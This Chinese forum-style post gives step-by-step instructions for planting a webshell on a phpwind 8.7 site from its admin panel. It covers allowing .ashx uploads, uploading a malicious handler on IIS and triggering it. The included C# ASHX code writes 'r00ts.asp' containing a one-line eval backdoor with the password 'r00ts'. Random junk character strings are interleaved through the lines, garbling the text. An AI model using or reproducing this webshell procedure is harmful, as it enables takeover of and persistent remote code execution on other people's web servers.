phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
) s4 l( V8 m  ?3 [3 g' B
  g8 C/ P+ B# m% `" w群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

# ]5 W% a, e& s! ]) k; ^7 o/ P发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
- D6 S) e( R0 m+ n( I* d. P4 j4 ^
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
# L! a* m/ t1 e
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

下面是代码:
1 F. i( d9 d9 N0 J
<%@ WebHandler Language="C#"Class="Handler" %>
using System;
& r: }6 \* W  L: a6 E0 W. ousing System.Web;
( x+ g- A- E. D5 rusing System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
, R) T. I$ O$ O; p) F4 o2 @context.Response.ContentType = "text/plain";
( q8 c5 {: C* m) BStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
2 e$ q) n7 k' F) M! d/ }+ sfile1.Write("<%eval request(\"r00ts\")%>");
, {, v* t) f- X# Z; f5 kfile1.Flush();
file1.Close();
}
public bool IsReusable {
get {
) R" }) b  F  k8 H8 I( l9 |return false;
}
}
}